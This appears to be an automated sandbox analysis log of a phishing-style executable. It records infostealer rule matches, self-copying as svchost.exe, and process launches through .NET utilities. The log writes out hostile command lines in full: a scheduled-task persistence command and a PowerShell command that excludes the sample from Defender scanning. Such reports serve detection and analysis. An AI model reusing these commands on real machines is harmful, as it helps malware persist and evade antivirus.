Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.svchost.exe.21690133730.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.svchost.exe.21690133730.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, IsConstructorBeginFinallyBlock.cs	Cryptographic APIs: 'CreateDecryptor'
Source: svchost.exe.0.dr, IsConstructorBeginFinallyBlock.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, slKb.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, mAKJ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, xQRSe0Fg.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, n3rhMa.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, MQzE4FWn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, nSmgRyX5a1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, 6IMLmJtk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, 6IMLmJtk.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: svchost.exe, 00000008.00000002.2008517923.000001A4FFF58000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@87/48@3/3

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to behavior

Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8396
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7268:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7872
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7792
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7748
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9188:120:WilError_03

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

File created: C:\Users\user\AppData\Local\Temp\tmp89F4.tmp

Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat""

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	ReversingLabs: Detection: 36%
Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Virustotal: Detection: 25%

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

File read: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe "C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe"
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svchost.exe C:\Users\user\AppData\Roaming\svchost.exe
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 456 -p 7792 -ip 7792
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7792 -s 1152
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 508 -p 7872 -ip 7872
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7872 -s 1104
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 536 -p 7748 -ip 7748
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7748 -s 1144
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 568 -p 8396 -ip 8396
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8396 -s 1352
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe "C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe"
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe "C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe"
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 456 -p 7792 -ip 7792
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7792 -s 1152
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 508 -p 7872 -ip 7872
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7872 -s 1104
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 536 -p 7748 -ip 7748
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7748 -s 1144
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 568 -p 8396 -ip 8396
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8396 -s 1352
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
